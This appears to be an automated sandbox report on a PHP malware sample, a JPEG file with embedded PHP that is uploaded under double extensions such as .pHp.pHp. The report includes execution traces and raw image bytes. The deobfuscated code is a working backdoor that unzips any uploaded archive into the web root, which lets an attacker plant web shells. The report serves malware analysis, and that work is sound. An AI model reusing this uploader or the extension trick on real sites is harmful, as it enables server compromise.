PHP Malware Analysis

3149c3a53fecd6f580841e6214e66a71.pHp.pHp, 3149c3a53fecd6f580841e6214e66a71.phtml.phtml, ziporjpgshellupload.php

md5: 49d46d4ddf248c173cec5f6816f86068

Jump to:

Screenshot


Attributes

Input


Deobfuscated PHP code

���JFIF����C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��,,"����<!1AQa"2q#BR���b�����$Cr%34�����+!1A"Qa2#BCqR���?��j�1�F������� �F�#@����~�~�#𜁔y(d~����v�.�+P ��� �q��A�6�	Ġ�P��%�J˺3��@	���p&\�B��p�~�Ԁ�`�
j��P����m  
V!Hj�
<?php 
echo "hello";
?>
�<��UK<#PQHr�
��%��Et@�]�Xޤ��L�[����J�A��J��B�g��7C)̌g�3�ΜB����TϬ�4A0b�c["F�"��j�4��#cF��x@k��fǺ3X����3�
�E�S��Kԋ�p R��p$T!2X�X�!T�4c�c@p��?�Ux�ò�
�;(�W6�+��H+������R)=J8U�z�ꗸm�(�0!:;�e�* ����k�,wX��]����a�g��踣���d�>�#�#L64A��"�"�#�ȉ]��@�� g��`��d�#ߒ(��i�l�!�+{i��>�LF�#��{(?o��nI���g�@'�߄ﲽ�&5S����T�� 1�����P����*{gu��w@�~K��S@"Z�E6aYZ��Hh2����Ԭ�̭�[�#"H��5�J��}g�a���(��*�H5,ל��3𴟄i��ؓF�����/�DW�/8�g3���fDd�(��1��}K6�2�O��{ۛ�3�=69q�yp����>)�#{H�"�Rʩ�kG��;6A-2a�c�� �D�"�F����zo�nL�۹6S�tNO��^-v��6�)�D
V�V"�x��Aj�=�N�@m�o��W�I��J�o���נe�Vx	��y$��e%�~�lh�5p�`$CX��V�D 
�� �!��"����ep�衯
�0 F;)��B��>��g�bB�	"�<
ą�@,U�D��Z���K`�T�#()C�W����IYf���!�g<�����Å~u���g֒�JFmF�`2
��ed>���9'0t��($Y�ey9�ezi/fq�+Pak���y�s)<�,�C@h�K����4
��p�o�sڋ�Ǎ�5�E��˙������x/�?��p;��]PIc#��g��.�ͧ��ȊH]��G�
�t�NiS~�ӎ�~/ٺ�}�yRCR����7�+b������=z��գs� [���hۖ�;P�fs�x��\��{��G",�#�
��4,�_c�3y�F9���elc�z�N|A�#_��.�R�ٙ�$/$^�7��3�Fj�gs[��`rx���"h�H���/PP
�� 3�%��N/����Uɀ��B߈_+����z�Y#iᑡ�'���}X3��m��_Eom!��F�#H�
�iG�a���G�V�@]ʑ���V$A*��}�>�F�
�V�_eO����2:(~w�x��9��$~gl>nV?�I
Ka)
�2?��xW�H-��vE�	����s��OX��Qc������8���� �Qr8��~#��#!�=H�LdžD`8��y/?��2��K�,h̏�#�
�=숇 � �;n�����JL�qAi�i0=��vZ��rX����n�<�!�ч;�_W�X�Kn<���ܮ+�Z�w�-�������2I����ۏXƀ��.�������.� �M���Fc!���d�6�^��>^Cr�7�����zM&AF#m��II��O�B�o{�8��R�F#kv�]x��>�/�{8�!���rH�0��fx���+���Y���p1�{m.<�v�:_m���r�i��\��V����P�(h�n�Ra��vGMȑ�F�v^�<�������)fKm��R�9�8�Yz|YS	�MR'�������"GO���ʡ�����)V;��z�r���)����V����ӳ��٤���
��~��0�'��)�d;���+�a{�,m���!�@�QB{�܌XV�V���A}��#��\�5�:�;�Y;�c��+�V��޷�W���q�X�ʬ/�	�/5d�v�{۞QO��z3d�1@F���#/������#:<M�J;q��+���t�e<P�b��Dl=�`4R��v&�TF5c@!�P<�>[t�i�^��a/�@;�K��
&�`�|�M���ɩl->G6�s�*�b�q8Y=S����9/u��tg��rSc�l��Z�I�F�T�Q�jg��=�+H�2���hZ���9S6r��\|��Z6�ؚQ��}D�<ʼ�z<R�V9�T�c�G9��j|v��|x���Z�;N4�|���V���@ߢ�s�Z2�@�,�J����+d�.�N3����c��'�ٝ����g`� x�������:�1�k�i���}?���}�hݧ]�m�K��6:
�(������<(������{X��ƒm/`P3°jU��I�w�߳ԫǍ4���B�@�����='�VqS.g��^���z瓐�ܦc�
�Ɇ�6+��|�|�G��"�@�q:���)�c��29F�~�ȼ�ot�Yc��\�(��(���6�h���!	Ҁ�Л/�*�@5��'�-Τl�a_5 :kHe���F-�<�Z�d�����?��j+�0�$�c6.�� :ie�|-R�J)���ZԠ�b���pS�	�c�͉�����P
(B)(+*���K�ɃAh��S��66N�)e:Gq����m�f��ǎ,�۸�)�h�@D�p�ސ�>أ���O"!F�Č$2�4�ܜ����a8���أ�\Co��̉���!�L'�^F�� �jPZvU�u�iEkP�o5�벊�4B�d�d�B��C�~���VN���0ݧ����x�*Fn�XῘ ����F�(��U�}������xT�W�u)��{�1�,`�I�
y���]�����Ɇ=쎵�ꯋ�K� �-�G���:N�~�w$�Jߊ0r_'�+��GF8_B������oB
#���,���@nz�!��م�0�����0����`
M��k|)4�J�w
奝�t���(+.[Y�p�ɒC�2�w�jj�t8�Ҳe0&�a��$�;��Vb�TX���wM+�F��<�F;���q�6�*�Ev�qmF�O�W�K���`E��nGsqܔ�Ǧ�-<�`�z$�6i@�1�n)����P�X��<�@�Ԇ�Vve�s�'��"nOD��_��.�:�nq�8���a��3�$�O��vG��"2��-�l�T�!�}���]���ƀ�۞{)�H^M���З���po�i34d�82	�m��ϩ���=E�1Zz+8t輋����5X6Jϵ����Id;r��ɟ�y�%ӷD��r�w'}V/c�Fn�59��!i���9��)�?2陻_q��8ivojz�1�DžאE���'��ց���c\=ƻ���qܓ�kc��W��j�]�}{OGC��@�i�׺"@wBVn.ChZ-��x�k���7�ǼAZ䘶���:*; e�(�m���Ɲ(MVI��&����^7@��y�
���LJ�~M��=�Dv���s����p�o?�9h�I��G�wKr�)lχv�S,���ӱ�nƈ�ȆčҬ��!F�]("�s��MЪ��,:6��`��h�+�U&��d����y�At�uOf.�!���Flqݺ�BL��<1�S-���9�� �eg�I���>�գƣ��ɖE����f;b���MG
tGdc�/Vk#f��y+��u}��TQ꧲��G:�����Z[1@�x�|�͹���ɔog`��W6�&j�cɐ��2�v^Pkz���j3�\���r�r�8z�q]�U�Z��g]����:w�)��Aed�o�����)3��R�;�8�w���N �r6]�!թFl���j28ur�oݷ�O��9w�ڶ:h�pΧG{1t�ݎ���~���[(#��&l�RD�v���g��W���~Oʶ�gI��<Ya�Z�c[�rX��#�֋X�Ÿ�3/~�Jh�v�.�g�"GF]	k?(�Ki�|O��g�=IM�)y���H�ؾ> h 9�d=�����\T�;%dn��~�AAXoF�.*
�ߩT%e�I��]AQ����21��4̶��5�BϟQ�՛6[��mRq�Iѧ>���6��̒WSI�8��w��7�myꬢgٞߡVc9Ĺ��D�pP
�L�p�eK�)8�b솺#�#�~�܈r{)y6UIAU\�媆�>��ouW��RH	�ęl���!��=�g��k��nL���
���x]�1�։=���Y�.dO#cK��G�퍃�yM4��E���M4s;��lzkL|�:�SjG��?���s8e�7��{E�ۃ����ǹZ�!���i
g���{bHD��ƞ^7��t�8�@����>!�[u��il���1�L�rv�ӳw+�ə����ǐ�����~�K�e{����͒���Xe���u���b�lv��d�����r�vX����2A\��W�=R#��6ǿ 6__�;��Hb��������)g�q����k�OJ]>�ɦ�"��(��^�~���!+%k"ۏ
��y[8�B#ߢ�y���Z7I�h��pcG~�oz+������k�dU�o,v�F�d�\��!���.w윃]ʡpK;%��KK�F��M�6�=��ώۜl���m�Vl�[��wZX���dj�J�f�)92�)f:I�፻W5�
|NTP�ve�O�1�$���S�⵿(߹M�=Q�9,Vmu&��U��ٴ�!�8�u�DR��|�+�-��"�WEz�R.��|#�8Ux�D.�G���;�ܬ��igʙ��=Ԓɜ5�\����[np�7��:b@;+b�Y�&�.���[e��3X,��$�dN���$xkG2R�vޠ�{\�&�5�b�8gl�3�i�kY�ə�������뽂���hkZ(�q��6W��4UDŽ$����#�R��d؀�3�=��h�-n��D�ExU����E�U���'�j��w+�%֢M]JZF��x��;
ܴ�3����7s��E��X�̏����}",v�cE�p��)8n�����EZ3��F뼑�o�H
�+VɈ�?�5Y%���!o�	x�;`�ɣ�u}7 Ò�l{x�������1�����x]��
��d@�K��v��+��B�i���;�䳟
��"�۽r�F���%9]�^
��q��u-��
1��V��ȓ�5c@��$�$�O�R[t�H~'�S]M�{���+���U>Z�D1;)����Q�"P�˩[��k6
yR�m=����5�����dl���ry����m���2-�+�&�W��P+��JE7��c[��ۺ�w��Hj`�eR�6P�Eե䛱Obl���G�6ifej,��kj[�lnY�A.u������#�t�^|�D��{�rw�&��n�dd�W�ie��ō|���u?E\�I�m��1�X?�5�zjlɛ���ձ��0Ʉ�bzf���N܌�c�i���w��1b��D�ց@�,���6X��\sVG���CBZI�!�%%����4��Y�?�����]O%x�l��8�ke�j���:�qq���u=և��_m�����@�=音B3�����z/{�x��Q�ѯ�h���Z�>�752Z���)ih�{vB-�2栐m0;`�^�p2c랟����^��%h��<��?�a0s��0�8�b!�h+�����9��9}�iSKGȽA���=�|��B��	�!|G����O^a�d-a?E���߲����]h�I�C�Z�{GT&����(m��@��/��Ha\���M�G�g���K{3�����!�𱋜M?��.H5t���=쟶�߻����E��b�>O�u�w�$R��ϴ�ǒ���=��t�k��s���,~�{��{���<wٱ�䵮kH��%��i�F�ٴxUu^ � �(�F�ZGP�]��B�&�6�25�rǃ�8�A$��J8�+3'Q|����f�?��t����C��o��4
ϖR��"�wYY��X���y1�׫��1�$���Iq��ē;+R��leױ��D���m�l�b��#We���iж8#
��e�Lu=��0�?KńD�{�w.v�v�5�^�!F�p;�{�oE��EW�JI�%;2�I%�JW���� n�J�0��=���5X�1�d;5�ʮ��E��v�@��>��&p����6�^���U��R蓰����ڮ_��{I��߈���(Xq�ƅ�D��4PK�k���P�s�m���Nn��A
����j@�<�iJF��`�u !Mn�&43m$Lw�Z	��H����	� %��ɗ�,��i���ae�N�=��~���uuӢ�,<r���|�Y��zwHӦΖl�����q�9,m5�ж,h�?+�K龩Ã3ӹbx0��F5���B�#�ǹ��������t�c�k���P'��sH')�1��V���[�9�Rzh��,�ǜ�82<�v,���p����0m�k��m��gB������F�/�X9:̳��"[�$^�����Rx���	u9%��	^l���q]�Tq��Cv�=�T�Nl8��4�M��oTc�qE	���M;�X��Z���[&K�a��4}��_D��ӗW��r>˥��f����OzB,:��܃�Ž&�
+L�6&.�<���/+��u��HԽ���6�	Ɗ�I�),�u\k�ɖ�J�ҲdP4P���U�.*�&]|��B$���{Z,����Ë.x��U���D��fD9��jZ�k�8�ݔ��p?�
_�&��n���_E�硰4F�i����
����|ko��U���ס23�n��q��g꾗<pDآ`c(9#�
){��(]��2�R�d]����-!@��.y�ȗ't�@R��LG��`�J@@AJ�  	yJ�C�qg����4�������67혳@C�	{Kw_�k��Ԛ5�&G���Lym�TA�7�+��^��ϷM, ]T��uL�H�ڨ*�~��D�F!��|n�|���X��R���fƫ��Jߣe�M)�<��z�{���c
����u�6�7�J�;~��o@!�����.voR����=�h,��[3*å-a�,�%<4�ȧ���;Y��>^9?#7?�
g\���D��rc��R�Jfw���O.s�{�g;��)���N���"̌�d����۱���h���l���QG�rZPe�4��ڊ����e�ǣ{+���fX#��a�����2Zѱ^&L}�h�~N�ҲM|�M�b������/�h��vY�-�$YP���)L��F�x��+/_o�2;� ��'����V���AB����-�]t'��:W�8l2�v/��O�O2�'�7[{���"���{.�@�v��0:8Ĺf�Y�;-��ƽ���ӱ���b���hG!X�U+�$�+J��\P2�Bq�]��1yKHy����)����($�V)1uo�+Z&�ACXk�M�[^@��U��C2�}F5�Gk_�G���2,Ms�O �K�3�c�6������^?!�����V�ad�j(%y��	_�١�Q���~0wl'�c��Š(�n�f������s�z��#�]&��+�r9N��l�_i
V�}�y&��0�p�$�s�^:;`��t6\�q"��a�6=򴯚��,r�#.��G����x��*~O��e$�Hz�3��f+���E������X���f�Z�n��vR{���t�q�oN��}��R���?��~��NQ���c��p�}PL���ꚛ��q�h/�2V�L��D�Ak����&����t;@���0��3��Tb�M-�PJ�*����r��Nr�9�Vs�Z܀*�ȏrZG ��ig;~h����}kA=�vLAR
��t{R
�6��^��0U�@
�\U�z�l(�U^�6�^�;^�@ƒ��B�_�=��	Qj-1%E����@J�=׊���*�ubH�ܔ�Cv� �RT8���$�
�^.Bs��h.r����	���C{��{�]�V{���*�n�#��۠�Z zY�W�0R
u�q AAVBk��.��
�HڐU.���Z��*-�q*Z�(��h �Ę���
�Sā��j8��A*�J��T����P� \�\�^�L��Eʮ�d7>��z߲��@t����z��A{�2\�7=
� �O)R��Ȅ���8Z��@t���k��ҭqDi4-��~$�\QZ�WKmY�6��!�6vPP��8ڛ)�q(.��e�{��ԂPA�ZЁSe0��'�+Ě@��퐉*�!w���J�m\�Q�Tq6���r�7?d78��w@s���M�����^�IGJ��:�9Ǻ�P]*������gKH�%�֗|��t����JI�,����t�-g�Gw@2���?�� 
<?php 
// Get Project path
define('_PATH', "/var/www/html");
// Unzip selected zip file
if (isset($_POST['unzip'])) {
    $filename = $_FILES['file']['name'];
    // Get file extension
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $valid_ext = array('zip');
    // Check extension
    if (in_array(strtolower($ext), $valid_ext)) {
        $tmp_name = $_FILES['file']['tmp_name'];
        $zip = new ZipArchive();
        $res = $zip->open($tmp_name);
        if ($res === TRUE) {
            // Unzip path
            $path = "/var/www/html/files/";
            // Extract file
            $zip->extractTo($path);
            $zip->close();
            echo "Unzip!";
        } else {
            echo "failed!";
        }
    } else {
        echo "Invalid file";
    }
}
?>
<form method='post' action='' enctype='multipart/form-data'>
 
 <!-- Unzip selected zip file -->
 <input type='file' name='file'><br/>
 <input type='submit' name='unzip' value='Unzip' />
</form>

Execution traces

data/traces/49d46d4ddf248c173cec5f6816f86068_trace-1676242162.9103.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:49:48.808133]
1	0	1	0.000175	393656
1	3	0	0.000294	411560	{main}	1		/var/www/html/uploads/ziporjpgshellupload.php	0	0
2	4	0	0.000418	419864	dirname	0		/var/www/html/uploads/ziporjpgshellupload.php	71	1	'/var/www/html/uploads/ziporjpgshellupload.php'
2	4	1	0.000437	419976
2	4	R			'/var/www/html/uploads'
2	5	0	0.000453	419944	define	0		/var/www/html/uploads/ziporjpgshellupload.php	71	2	'_PATH'	'/var/www/html/uploads'
2	5	1	0.000469	420048
2	5	R			TRUE
1	3	1	0.000484	419976
			0.000509	314464
TRACE END   [2023-02-12 20:49:48.808505]

data/traces/49d46d4ddf248c173cec5f6816f86068_trace-1676248052.8231.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:27:58.720952]
1	0	1	0.000173	393784
1	3	0	0.000275	411704	{main}	1		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.php.php	0	0
2	4	0	0.000388	420008	dirname	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.php.php	71	1	'/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.php.php'
2	4	1	0.000407	420136
2	4	R			'/var/www/html/uploads'
2	5	0	0.000423	420104	define	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.php.php	71	2	'_PATH'	'/var/www/html/uploads'
2	5	1	0.000440	420208
2	5	R			TRUE
1	3	1	0.000455	420136
			0.000480	314560
TRACE END   [2023-02-12 22:27:58.721293]

data/traces/49d46d4ddf248c173cec5f6816f86068_trace-1676256623.8011.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:50:49.698939]
1	0	1	0.000340	393784
1	3	0	0.000446	411704	{main}	1		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.pHp.pHp	0	0
2	4	0	0.000556	420008	dirname	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.pHp.pHp	71	1	'/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.pHp.pHp'
2	4	1	0.000575	420136
2	4	R			'/var/www/html/uploads'
2	5	0	0.000590	420104	define	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.pHp.pHp	71	2	'_PATH'	'/var/www/html/uploads'
2	5	1	0.000607	420208
2	5	R			TRUE
1	3	1	0.000622	420136
			0.000646	314560
TRACE END   [2023-02-13 00:50:49.699438]

data/traces/49d46d4ddf248c173cec5f6816f86068_trace-1676257361.9436.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:03:07.841384]
1	0	1	0.000141	393784
1	3	0	0.000237	411704	{main}	1		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.phtml.phtml	0	0
2	4	0	0.000377	420008	dirname	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.phtml.phtml	71	1	'/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.phtml.phtml'
2	4	1	0.000396	420136
2	4	R			'/var/www/html/uploads'
2	5	0	0.000411	420104	define	0		/var/www/html/uploads/3149c3a53fecd6f580841e6214e66a71.phtml.phtml	71	2	'_PATH'	'/var/www/html/uploads'
2	5	1	0.000428	420208
2	5	R			TRUE
1	3	1	0.000442	420136
			0.000466	314560
TRACE END   [2023-02-13 01:03:07.841736]


Generated HTML code

<html><head></head><body>����JFIF����C		

 $.' ",#(7),01444'9=82&lt;.342��C			

2!!22222222222222222222222222222222222222222222222222��,,"����&lt;!1AQa"2q#BR���b�����$Cr%34�����+!1A"Qa2#BCqR����?��j�1�F������� �F�#@����~�~�#𜁔y(d~����v�.�+P ���� �q��A�6�	Ġ�P��%�J˺3��@	���p&amp;\�B��p�~�Ԁ�`�
j��P����m  
V!Hj�
<!--? echo "hello"; ?-->
�&lt;��UK&lt;#PQHr�
��%��Et@�]�Xޤ���L�[����J�A��J���B�g��7C)̌g�3�ΜB����TϬ�4A0b�c["F�"��j�4��#cF��x@k��fǺ3X����3�
�E�S��Kԋ��p R��p$T!2X�X�!T�4c�c@p��?�Ux�ò�
�;(�W6��+��H+������R)=J8U�z�ꗸm�(�0!:;�e�* ����k�,wX��]����a�g��踣���d�&gt;�#�#L64A��"�"�#�ȉ]��@�� g��`���d�#ߒ(��i�l�!��+{i��&gt;�LF�#��{(?o���nI���g�@'�߄ﲽ�&amp;5S����T�� 1�����P����*{gu��w@�~K���S@"Z�E6aYZ��Hh2����Ԭ�̭�[�#"H��5�J��}g�a���(��*�H5,ל��3𴟄i��ؓF������/�DW�/8�g3���fDd�(��1��}K6�2�O��{ۛ���3�=69q�yp����&gt;)�#{H�"��Rʩ�kG����;6A-2a�c�� �D�"�F����zo�nL�۹6S�tNO��^-v��6�)�D
V�V"�x��Aj�=�N�@m�o��W�I���J�o���נe�Vx	��y$��e%�~�lh�5p�`$CX��V�D 
�� �!��"����ep�衯
��0 F;)��B��&gt;��g�bB�	"�&lt;
ą�@,U�D��Z���K`�T�#()C�W����IYf���!�g&lt;�����Å~u���g֒�JFmF�`2
��ed&gt;���9'0t��($Y�ey9�ezi/fq�+Pak���y�s)&lt;�,�C@h�K����4
��p�o�sڋ�Ǎ�5�E��˙������x/�?��p;��]PIc#��g��.�ͧ��ȊH]��G�
�t�NiS~�ӎ�~/ٺ�}�yRCR����7�+b������=z��գs� [�����hۖ�;P��fs�x��\��{��G",�#�
��4,�_c�3y�F9���elc�z�N|A�#_��.�R�ٙ���$/$^�7��3�Fj�gs[��`rx���"h�H���/PP
�� 3�%��N/����Uɀ��B߈_+����z�Y#iᑡ�'���}X3��m��_Eom!��F�#H�
�iG�a���G�V�@]ʑ���V$A*��}�&gt;�F�
�V�_eO����2:(~w�x��9��$~gl&gt;nV?�I
Ka)
�2?��xW�H-��vE�	����s��OX��Qc������8���� �Qr8��~#��#!�=H�LdžD`8��y/?��2��K�,h̏�#�
�=숇 � �;n�����JL�qAi�i0=��vZ��rX����n�&lt;�!�ч;�_W�X�Kn&lt;���ܮ+�Z�w�-����������2I����ۏXƀ��.��������.� �M���Fc!���d�6�^��&gt;^Cr�7�����zM&amp;AF#m��II��O�B�o{�8��R�F#kv�]x��&gt;�/�{8�!���rH�0��fx���+���Y���p1�{m.&lt;�v�:_m���r�i��\��V����P�(h�n�Ra��vGMȑ�F�v^�&lt;�������)fKm��R�9�8�Yz|YS	�MR'�������"GO���ʡ�����)V;��z�r���)����V������ӳ��٤���
��~��0�'��)�d;�����+�a{�,m���!�@�QB{�܌XV�V���A}��#��\�5�:�;�Y;�c��+�V��޷�W���q�X�ʬ/�	�/5d�v�{۞QO��z3d�1@F�����#/������#:&lt;M�J;q��+���t�e<p�b��dl=�`4r��v&�tf5c@!�p<�>[t�i�^��a/�@;�K��
&amp;�`�|�M���ɩl-&gt;G6�s�*�b�q8Y=S����9/u���tg��rSc�l��Z�I�F�T�Q�jg��=�+H�2���hZ���9S6r��\|��Z6�ؚQ��}D�&lt;ʼ�z<r�v9�t�c�g9� �j|v��|x���z��;n4�|���v���@ߢ�s�z2�@�,�j�����+d�.�n3����c���'�ٝ�����g`�="" x��������:�1�k�i���}?���}�h="" ݧ]�m�k��6:="" �(������<(������{x��ƒm="" `p3°ju��i�w�߳ԫǍ4���b��@�������="�VqS.g��^���z瓐�ܦc�
�Ɇ�6+��|�|�G��&quot;�@�q:���)�c��29F�~�ȼ�ot�Yc��\�(��(����6�h���!	Ҁ�Л/�*�@5��" �-Τl�a_5="" :khe����f-�<�z�d������?��j+�0�$�c6.��="" :ie�|-r�j)���zԠ�b���ps��="" �c�͉�����p="" (b)(+*����k�Ƀah��s��66n�)e:gq����m�f��ǎ,�۸�)�h�@d�p����ސ�="">أ���O"!F�Č$2�4�ܜ����a8���أ�\Co��̉����!�L'�^F��� �jPZvU�u�iEkP�o5�벊�4B�d�d�B��C�~���VN���0ݧ����x�*Fn�XῘ ����F�(��U�}������xT�W�u)��{�1�,`�I��
y���]������Ɇ=쎵�ꯋ�K� �-�G���:N�~�w$�Jߊ0r_'��+���GF8_B������oB
#���,���@nz�!���م�0�����0����`
M��k|)4�J�w
奝�t���(+.[Y�p�ɒC�2�w�jj�t8�Ҳe0&amp;�a��$�;��Vb�TX����wM+�F��&lt;�F;���q�6�*�Ev�qmF�O�W�K���`E��nGsqܔ�Ǧ�-&lt;�`�z$�6i@�1�n)����P�X��&lt;�@�Ԇ�Vve�s�'��"nOD��_��.�:�nq�8���a��3�$�O��vG��"2��-�l�T�!�}���]���ƀ�۞{)�H^M���З���po�i34d�82	�m��ϩ���=E�1Zz+8t輋�����5X6Jϵ����Id;r��ɟ�y�%ӷD��r�w'}V/c�Fn�59��!i���9��)�?2陻_q���8ivojz�1�DžאE���'��ց���c\=ƻ���qܓ�kc��W���j�]�}{OGC��@�i�׺"@wBVn.ChZ-��x�k���7�ǼAZ䘶���:*; e�(�m���Ɲ(MVI��&amp;����^7@��y�
���LJ�~M��=�Dv���s����p�o?�9h�I��G�wKr�)lχv�S,���ӱ�nƈ�ȆčҬ��!F�]("�s��MЪ��,:6��`��h�+�U&amp;��d����y�At�uOf.�!���Flqݺ�BL��&lt;1�S-���9�� �eg�I���&gt;�գƣ���ɖE�����f;b����MG
tGdc�/Vk#f��y+��u}��TQ꧲��G:�����Z[1@�x�|�͹���ɔog`��W6�&amp;j�cɐ��2�v^Pkz���j3�\���r�r�8z�q]�U�Z��g]����:w�)��Aed�o�����)3��R�;�8�w���N �r6]�!թFl���j28ur�oݷ�O��9w�ڶ:h�pΧG{1t�ݎ���~���[(#��&amp;l�RD�v���g��W���~Oʶ�gI��<ya�z �c�[�rx��#�֋x�Ÿ�3="" ~�jh�v�.�g�"gf]="" k?(��ki�|o��g�="IM�)y���H�ؾ"> h 9�d=�����\T�;%dn��~�AAXoF�.*
�ߩT%e�I��]AQ����21��4̶��5�BϟQ�՛6[��mRq�Iѧ&gt;���6��̒WSI�8��w��7�myꬢgٞߡVc9Ĺ��D�pP
��L�p�eK�)8�b솺#�#�~�܈r{)y6UIAU\�媆�&gt;��ouW��RH	�ęl���!��=�g��k��nL���
���x]�1�։=���Y�.dO#cK��G�퍃�yM4��E���M4s;��lzkL|�:�SjG��?���s8e�7��{E�ۃ����ǹZ�!���i
g���{bHD��ƞ^7��t�8�@����&gt;!�[u��il���1�L�rv�ӳw+�ə����ǐ�����~�K�e{�����͒���Xe���u���b�lv��d�����r�vX����2A\��W�=R#��6ǿ 6__�;����Hb����������)g�q����k�OJ]&gt;�ɦ�"��(��^�~���!+%k"ۏ
��y[8�B#ߢ�y���Z7I�h��pcG~�oz+������k�dU�o,v�F�d�\��!���.w윃]ʡpK;%��KK�F��M�6�=���ώۜl���m�Vl�[��wZX���dj�J�f�)92�)f:I�፻W5�
|NTP�ve�O�1�$����S�⵿(߹M�=Q�9,Vmu&amp;��U��ٴ�!��8�u�DR��|�+�-��"�WEz�R.��|#�8Ux�D.�G���;�ܬ��igʙ��=Ԓɜ5�\����[np�7��:b@;+b�Y�&amp;�.���[e��3X,��$�dN���$xkG2R�vޠ�{\�&amp;�5�b�8gl��3�i�kY�ə�������뽂���hkZ(�q��6W��4UDŽ$����#�R��d؀�3�=��h�-n��D�ExU����E�U����'�j��w+�%֢M]JZF��x��;
ܴ�3����7s��E��X�̏����}",v�cE�p��)8n�����EZ3��F뼑�o�H
�+VɈ�?�5Y%���!o�	x�;`�ɣ�u}7 Ò�l{x�������1�������x]��
��d@�K��v��+��B�i���;�䳟
��"�۽r�F���%9]�^
���q��u-��
1��V��ȓ�5c@��$�$�O�R[t�H~'�S]M�{���+���U&gt;Z�D1;)����Q�"P�˩[��k6
yR�m=����5�����dl���ry����m���2-�+�&amp;�W��P+��JE7��c[��ۺ�w��Hj`�eR�6P�Eե䛱Obl����G�6ifej,��kj[�lnY�A.u������#�t�^|�D��{�rw�&amp;��n�dd�W�ie��ō|���u?E\�I�m��1�X?�5�zjlɛ���ձ���0Ʉ�bzf���N܌�c�i���w��1b��D�ց@�,���6X��\sVG���CBZI�!�%%����4��Y�?�����]O%x�l��8�ke�j���:�qq���u=և��_m�����@�=音B3�����z/{�x��Q�ѯ�h���Z�&gt;����752Z���)ih�{vB-�2栐m0;`�^�p2c랟����^���%h��&lt;��?��a0s��0�8�b!��h+�����9��9}�iSKGȽA���=�|��B���	�!|G����O^a��d-a?E���߲����]h�I�C�Z�{GT&amp;�����(m��@��/��Ha\���M�G�g���K{3������!�𱋜M?��.H5t���=쟶�߻�����E��b�&gt;O�u�w�$R��ϴ�ǒ���=��t�k��s���,~�{��{���<wٱ�䵮kh��%���i�f�ٴxuu^ �="" �(�f�zgp�]��b�&�6�25�rǃ�8�a$��j8�+3'q|����f��?��t����c��o��4="" ϖr��"��wyy��x���y1�׫��1�$���iq��ē;+r���leױ��d����m�l�b��#we���iж8#="" ��e�lu="��0�?KńD�{�w.v��v�5�^�!F�p;�{�oE��EW�JI�%;2�I%�JW����" n�j�0��="���5X�1�d;5�ʮ��E��v�@��">���&amp;p����6�^����U��R蓰����ڮ_��{I���߈���(Xq�ƅ�D��4PK�k���P�s�m���Nn��A
����j@�&lt;�iJF��`�u !Mn�&amp;43m$Lw�Z	��H����	� %��ɗ�,��i����ae�N�=��~���uuӢ�,<r���|�y��zwhӦΖl�����q�9,m5�ж,h�?+��k龩Ã3ӹbx0��f5���b�#�ǹ����������t�c�k���p�'��sh')�1��v���[�9�rzh��,�ǜ�82<�v,���p����0m�k��m��gb������f� �x9:̳��"[�$^�����rx���="" u9%��="" ^l���q]�tq��cv�="�T�Nl8��4�M���oTc�qE" ���m;�x��z���[&k�a��4}��_d��ӗw��r="">˥��f�����OzB,:���܃�Ž&amp;�
+L�6&amp;.�&lt;���/+��u��HԽ���6�	Ɗ�I�),�u\k�ɖ�J�ҲdP4P���U�.*�&amp;]|���B$���{Z,����Ë.x��U���D��fD9��jZ�k�8�ݔ��p?�
_�&amp;��n���_E�硰4F�i�����
����|ko��U���ס23�n��q��g꾗<pdآ`c(�9#� ){��(]��2�r�d]����-!@��.y�ȗ't="" �@r��lg��`�j@@aj�="" yj�c�qg�����4�������67혳@c�="" {kw_�k��Ԛ5�&g���lym�ta�7�+��^��Ϸm,="" �]t��ul�h�ڨ*�~��d�f!��|n�|���x��r���fƫ��jߣe�m)�<���z�{���c="" ����u�6�7�j�;~��o@!�����.vor����="�h,��[3*å-a�,�%<4�ȧ���;Y��">^9?#7?�
g\���D��rc��R�Jfw���O.s�{�g;��)���N���"̌�d����۱���h���l���QG�rZPe�4��ڊ������e�ǣ{+���fX#��a�����2Zѱ^&amp;L}�h�~N�ҲM|�M�b������/�h��vY�-�$YP���)L��F�x��+/_o�2;� ���'����V���AB������-�]t'��:W�8l2�v/��O�O2�'�7[{���"���{.�@�v��0:8Ĺf�Y�;-����ƽ����ӱ���b���hG!X�U+�$�+J��\P2�Bq�]��1yKHy����)����($�V)1uo�+Z&amp;�ACXk�M�[^@��U��C2�}F5�Gk_�G���2,Ms�O �K�3�c�6������^?!������V�ad�j(%y��	_�١�Q���~0wl'�c����Š(�n�f�������s�z��#�]&amp;��+�r9N��l�_i
V�}�y&amp;��0�p�$�s�^:;`��t6\�q"��a�6=򴯚��,r�#.��G����x��*~O��e$�Hz�3��f+���E������X���f�Z�n��vR{���t�q�oN��}��R���?���~��NQ���c��p��}PL���ꚛ���q�h/�2V�L���D�Ak�����&amp;����t;@���0��3��Tb�M-�PJ�*����r��Nr�9�Vs�Z܀*�ȏrZG ��ig;~h����}kA=�vLAR
��t{R
�6��^��0U�@
�\U�z�l(�U^�6�^�;^�@ƒ��B�_�=��	Qj-1%E����@J�=׊���*�ubH�ܔ�Cv� �RT8���$�
�^.Bs��h.r����	����C{��{�]�V{���*�n�#��۠�Z zY�W�0R
u�q AAVBk��.��
�HڐU.���Z��*-�q*Z�(��h �Ę���
�Sā��j8��A*�J��T����P� \�\�^��L��Eʮ�d7&gt;��z߲��@t����z��A{�2\�7=
